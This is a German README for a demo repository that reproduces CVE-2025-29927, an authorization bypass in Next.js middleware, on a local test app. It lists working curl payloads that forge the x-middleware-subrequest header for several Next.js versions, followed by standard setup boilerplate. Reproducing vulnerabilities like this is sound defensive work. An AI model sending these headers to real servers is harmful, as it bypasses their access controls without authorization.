
vulnerable-nextjs-14-CVE-2025-29927
Dieses Repository ist eine Reproduktion der CVE-2025-29927-Schwachstelle im Paket next
/api/hello verweigert$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5-mal in den speziellen x-middleware-subrequest-Header verschachteln:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Die Next.js-Versionen 12 und 13 verwendeten eine andere Benennungskonvention für die Middleware-Datei (_middleware.js), die in Next.js 14 in middleware.js geändert wurde. Diese Schwachstelle kann in älteren Versionen ausgenutzt werden, indem die Datei _middleware.js verwendet wird.
Je nach Next.js-Version und Routing-Konvention würden beispielsweise die folgenden Payloads gelten:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (für Next.js-Versionen 12.2 mit der Datei middleware.js im Stammverzeichnis der App, nicht im Verzeichnis pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (für Next.js-Versionen 11 bis 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloFühren Sie zunächst den Entwicklungsserver aus:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Öffnen Sie http://localhost:3000 in Ihrem Browser, um das Ergebnis zu sehen.
Sie können die Seite bearbeiten, indem Sie app/page.js ändern. Die Seite wird automatisch aktualisiert, während Sie die Datei bearbeiten.
Dieses Projekt verwendet next/font, um Geist, eine neue Schriftfamilie für Vercel, automatisch zu optimieren und zu laden.
Um mehr über Next.js zu erfahren, werfen Sie einen Blick auf die folgenden Ressourcen:
Sie können sich das Next.js-GitHub-Repository ansehen - Ihr Feedback und Ihre Beiträge sind willkommen!
Der einfachste Weg, Ihre Next.js-App bereitzustellen, ist die Nutzung der Vercel-Plattform von den Entwicklern von Next.js.
Weitere Einzelheiten finden Sie in unserer Dokumentation zur Next.js-Bereitstellung.